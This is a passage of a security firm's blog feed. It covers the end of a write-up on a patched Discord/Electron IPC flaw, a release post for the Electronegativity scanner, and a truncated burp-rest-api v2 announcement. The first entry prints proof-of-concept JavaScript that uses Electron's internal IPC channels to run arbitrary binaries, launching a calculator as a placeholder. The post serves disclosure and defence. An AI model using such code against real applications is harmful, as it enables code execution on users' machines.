&lt;p&gt;In Electron, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ipcMain&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ipcRenderer&lt;/code&gt; modules are used to implement IPC between the main process and the renderers but they’re also leveraged for internal native framework invocations. For instance, the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window.close()&lt;/code&gt; function is implemented using the following event listener:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// Implements window.close()&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;ipcMainInternal&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ELECTRON_BROWSER_WINDOW_CLOSE&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sender&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getOwnerBrowserWindow&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;event&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;returnValue&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As there’s no separation between application-level IPC messages and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ELECTRON_&lt;/code&gt; internal channel, the ability to set arbitrary channel names allows untrusted code in the renderer to subvert the framework’s security mechanism.&lt;/p&gt;

&lt;p&gt;For example, the following synchronous IPC calls can be used to execute an arbitrary binary:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ipcRenderer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;electron&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ipcRenderer&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;electron&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ipcRenderer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sendSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ELECTRON_BROWSER_REQUIRE&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;electron&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;shell&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ipcRenderer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sendSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ELECTRON_BROWSER_MEMBER_GET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;electron&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ipcRenderer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sendSync&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ELECTRON_BROWSER_MEMBER_CALL&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;shell&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;openExternal&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[{&lt;/span&gt;
                            &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                            &lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;file:///Applications/Calculator.app&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}]);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In the case of the Discord’s preload, an attacker can issue asynchronous IPC messages with arbitrary channels. While it is not possible to obtain a reference of the objects from the function exposed in the untrusted window, an attacker can still brute-force the reference of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;child_process&lt;/code&gt; using the following code:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;DiscordNative&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ipc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ELECTRON_BROWSER_REQUIRE&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;child_process&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;DiscordNative&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ipc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ELECTRON_BROWSER_MEMBER_CALL&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[{&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
            &lt;span class=&quot;na&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;calc.exe&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}]);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;video controls=&quot;&quot; preload=&quot;auto&quot; width=&quot;100%&quot; height=&quot;100%&quot; poster=&quot;../../../public/images/discordvuln.png&quot;&gt;
    &lt;source src=&quot;../../../public/images/discorddemoipc.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Your browser does not support the video tag.
&lt;/video&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;

&lt;p&gt;This issue affected all supported platforms (Windows, Mac, Linux). A security patch was released at the beginning of 2019. Additionally, Discord also removed backwards compatibility code with old clients.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Electronegativity is finally out!</title>
   <link href="https://blog.doyensec.com/2019/01/24/electronegativity.html"/>
   <updated>2019-01-24T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2019/01/24/electronegativity</id>
   <content type="html">&lt;p&gt;We’re excited to announce the public release of &lt;a href=&quot;https://github.com/doyensec/electronegativity&quot;&gt;Electronegativity&lt;/a&gt;, an opensource tool capable of identifying misconfigurations and security anti-patterns in &lt;a href=&quot;https://electronjs.org/&quot;&gt;Electron&lt;/a&gt;-based applications.&lt;/p&gt;

&lt;p&gt;Electronegativity is the first-of-its-kind tool that can help software developers and security auditors to detect and mitigate potential weaknesses in Electron applications.&lt;/p&gt;

&lt;p&gt;If you’re simply interested in trying out Electronegativity, go ahead and install it using NPM:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;npm &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; @doyensec/electronegativity &lt;span class=&quot;nt&quot;&gt;-g&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To review your application, use the following command:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;electronegativity &lt;span class=&quot;nt&quot;&gt;-i&lt;/span&gt; /path/to/electron/app
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Results are displayed in a compact table, with references to application files and our knowledge-base.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../public/images/electronegativity.png&quot; alt=&quot;Electronegativity Demo&quot; align=&quot;center&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The remaining blog post will provide more details on the public release and introduce its current features.&lt;/p&gt;

&lt;h3 id=&quot;a-bit-of-history&quot;&gt;A bit of history&lt;/h3&gt;

&lt;p&gt;Back in July 2017 at the &lt;a href=&quot;https://www.blackhat.com/us-17/&quot;&gt;BlackHat USA Briefings&lt;/a&gt;, we presented the &lt;a href=&quot;https://doyensec.com/resources/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security.pdf&quot;&gt;first comprehensive study on Electron security&lt;/a&gt; where we primarily focused on framework-level vulnerabilities and misconfigurations. As part of our research journey, we also created a &lt;a href=&quot;https://doyensec.com/resources/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security-wp.pdf&quot;&gt;checklist of security anti-patterns&lt;/a&gt; and must-have features to illustrate misconfigurations and vulnerabilities in Electron-based applications.&lt;/p&gt;

&lt;p&gt;With that, me and &lt;a href=&quot;https://github.com/p4p3r&quot;&gt;Claudio Merloni&lt;/a&gt; started developing the first prototype for Electronegativity. Immediately after the BlackHat presentation, we received a lot of great feedback and new ideas on how to evolve the tool. Back home, we started working on those improvements until we realized that we had to rethink the overall design. The code repository was made private again and minor refinements were done in between customer projects only.&lt;/p&gt;

&lt;p&gt;In the summer of 2018, we hired Doyensec’s first intern - &lt;a href=&quot;https://github.com/0xibram&quot;&gt;Ibram Marzouk&lt;/a&gt; who started working on the tool again. Later, &lt;a href=&quot;https://github.com/JarLob&quot;&gt;Jaroslav Lobacevski&lt;/a&gt; joined the project team and pushed Electronegativity to the finish line. &lt;em&gt;Claudio&lt;/em&gt;, &lt;em&gt;Ibram&lt;/em&gt; and &lt;em&gt;Jaroslav&lt;/em&gt;, thanks for your contributions!&lt;/p&gt;

&lt;p&gt;While certainly overdue, we’re happy that we eventually managed to release the tool in better shape. We believe that Electron is here to stay and hopefully Electronegativity will become a useful companion for all Electron developers out there.&lt;/p&gt;

&lt;h3 id=&quot;how-does-it-work&quot;&gt;How Does It Work?&lt;/h3&gt;

&lt;p&gt;Electronegativity leverages AST / DOM parsing to look for security-relevant configurations. Checks are standalone files, which makes the tool modular and extensible.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/blob/master/CONTRIBUTING.md&quot;&gt;Building a new check&lt;/a&gt; is relatively easy too. We support three “families” of checks, so that the tool can analyze all resources within an Electron application:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;JS (using a combination of &lt;a href=&quot;http://esprima.org/&quot;&gt;Esprima&lt;/a&gt;, &lt;a href=&quot;https://github.com/babel/babel&quot;&gt;Babel&lt;/a&gt;, &lt;a href=&quot;https://github.com/JamesHenry/typescript-estree&quot;&gt;TypeScript ESTree&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;HTML (using &lt;a href=&quot;https://github.com/cheeriojs/cheerio&quot;&gt;Cheerio&lt;/a&gt;)&lt;/li&gt;
  &lt;li&gt;JSON (using the native &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;JSON.parse()&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;When you scan an application, the tool will unpack all resources (if applicable) and perform an audit using all registered checks. Results are displayed in the terminal, CSV file or SARIF format.&lt;/p&gt;

&lt;h4 id=&quot;supported-checks&quot;&gt;Supported Checks&lt;/h4&gt;

&lt;p&gt;Electronegativity currently implements the following checks. A knowledge-base containing information around risk and auditing strategy has been created for each class of vulnerabilities:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/ALLOWPOPUPS_HTML_CHECK&quot;&gt;ALLOWPOPUPS_HTML_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/AUXCLICK_JS_CHECK&quot;&gt;AUXCLICK_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/AUXCLICK_HTML_CHECK&quot;&gt;AUXCLICK_HTML_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/BLINK_FEATURES_JS_CHECK&quot;&gt;BLINK_FEATURES_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/BLINK_FEATURES_HTML_CHECK&quot;&gt;BLINK_FEATURES_HTML_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/CERTIFICATE_ERROR_EVENT_JS_CHECK&quot;&gt;CERTIFICATE_ERROR_EVENT_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/CERTIFICATE_VERIFY_PROC_JS_CHECK&quot;&gt;CERTIFICATE_VERIFY_PROC_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/CONTEXT_ISOLATION_JS_CHECK&quot;&gt;CONTEXT_ISOLATION_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/CUSTOM_ARGUMENTS_JS_CHECK&quot;&gt;CUSTOM_ARGUMENTS_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/DANGEROUS_FUNCTIONS_JS_CHECK&quot;&gt;DANGEROUS_FUNCTIONS_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/ELECTRON_VERSION_JSON_CHECK&quot;&gt;ELECTRON_VERSION_JSON_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/EXPERIMENTAL_FEATURES_HTML_CHECK&quot;&gt;EXPERIMENTAL_FEATURES_HTML_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/EXPERIMENTAL_FEATURES_JS_CHECK&quot;&gt;EXPERIMENTAL_FEATURES_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/HTTP_RESOURCES_JS_CHECK&quot;&gt;HTTP_RESOURCES_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/HTTP_RESOURCES_HTML_CHECK&quot;&gt;HTTP_RESOURCES_HTML_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/INSECURE_CONTENT_HTML_CHECK&quot;&gt;INSECURE_CONTENT_HTML_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/INSECURE_CONTENT_JS_CHECK&quot;&gt;INSECURE_CONTENT_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/NODE_INTEGRATION_HTML_CHECK&quot;&gt;NODE_INTEGRATION_HTML_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/NODE_INTEGRATION_ATTACH_EVENT_JS_CHECK&quot;&gt;NODE_INTEGRATION_EVENT_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/NODE_INTEGRATION_JS_CHECK&quot;&gt;NODE_INTEGRATION_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/OPEN_EXTERNAL_JS_CHECK&quot;&gt;OPEN_EXTERNAL_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/PERMISSION_REQUEST_HANDLER_JS_CHECK&quot;&gt;PERMISSION_REQUEST_HANDLER_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/PRELOAD_JS_CHECK&quot;&gt;PRELOAD_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/PROTOCOL_HANDLER_JS_CHECK&quot;&gt;PROTOCOL_HANDLER_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/SANDBOX_JS_CHECK&quot;&gt;SANDBOX_JS_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/WEB_SECURITY_HTML_CHECK&quot;&gt;WEB_SECURITY_HTML_CHECK&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/doyensec/electronegativity/wiki/WEB_SECURITY_JS_CHECK&quot;&gt;WEB_SECURITY_JS_CHECK&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Leveraging these 27 checks, Electronegativity is already capable of identifying many vulnerabilities in real-life applications. Going forward, we will keep improving the detection and updating the tool to keep pace with the fast-changing Electron framework. &lt;strong&gt;Start using &lt;a href=&quot;https://github.com/doyensec/electronegativity&quot;&gt;Electronegativity&lt;/a&gt; today!&lt;/strong&gt;&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Introducing burp-rest-api v2</title>
   <link href="https://blog.doyensec.com/2018/11/05/burp-rest-api-v2.html"/>
   <updated>2018-11-05T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2018/11/05/burp-rest-api-v2</id>
   <content type="html">&lt;p&gt;Since the first commit back in 2016, &lt;a href=&quot;https://github.com/vmware/burp-rest-api/&quot;&gt;burp-rest-api&lt;/a&gt; has been the default tool for &lt;em&gt;BurpSuite-powered&lt;/em&gt; web scanning automation. Many security professionals and organizations have relied on this extension to orchestrate the work of Burp Spider and Scanner.&lt;/p&gt;

&lt;p&gt;Today, we’re proud to announce a new major release of the tool: &lt;strong&gt;burp-rest-api v2.0.1&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Starting in June 2018, Doyensec joined VMware in the development and support of the growing burp-rest-api community. After several years of experience in big tech companies and startups, we understand the need for security automation to improve efficacy and efficiency during software security activities. Unfortunately internal security tools are rarely open-sourced, and still, too many companies are reinventing the wheel. We believe that working together on foundational components, such as burp-rest-api, represents the future of security automation as it empowers companies of any size to build customized solutions.&lt;/p&gt;

&lt;p&gt;After a few weeks of work, we cleaned up all the open issues and brought burp-rest-api to its next phase. In this blog post, we would like to summarize some of the improvements.&lt;/p&gt;

&lt;h3 id=&quot;releases&quot;&gt;Releases&lt;/h3&gt;

&lt;p&gt;You can now download the latest version of burp-rest-api from &lt;a href=&quot;https://github.com/vmware/burp-rest-api/releases&quot;&gt;https://github.com/vmware/burp-rest-api/releases&lt;/a&gt; in a precompiled release build. While this may not sound like a big deal, it’s actually the result of a major change in the plugin bootstrap mechanism. Until now, burp-rest-api was strictly dependent on the original Burp Suite JAR to be compiled, hence we weren’t able to create stable releases due to licensing. By re-engineering the way burp-rest-api starts, it is now possible to build the extension without even having &lt;em&gt;burpsuite_pro.jar&lt;/em&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;git clone git@github.com:vmware/burp-rest-api.git
cd burp-rest-api
./gradlew clean build
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Once built, you can now execute Burp with the burp-rest-api extension using the following command:&lt;/p&gt;

&lt;div class=&quot;language-java highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;java&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;jar&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;burp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;rest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;api&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;2.0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;jar&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;burp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;jar&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=./&lt;/span&gt;&lt;span 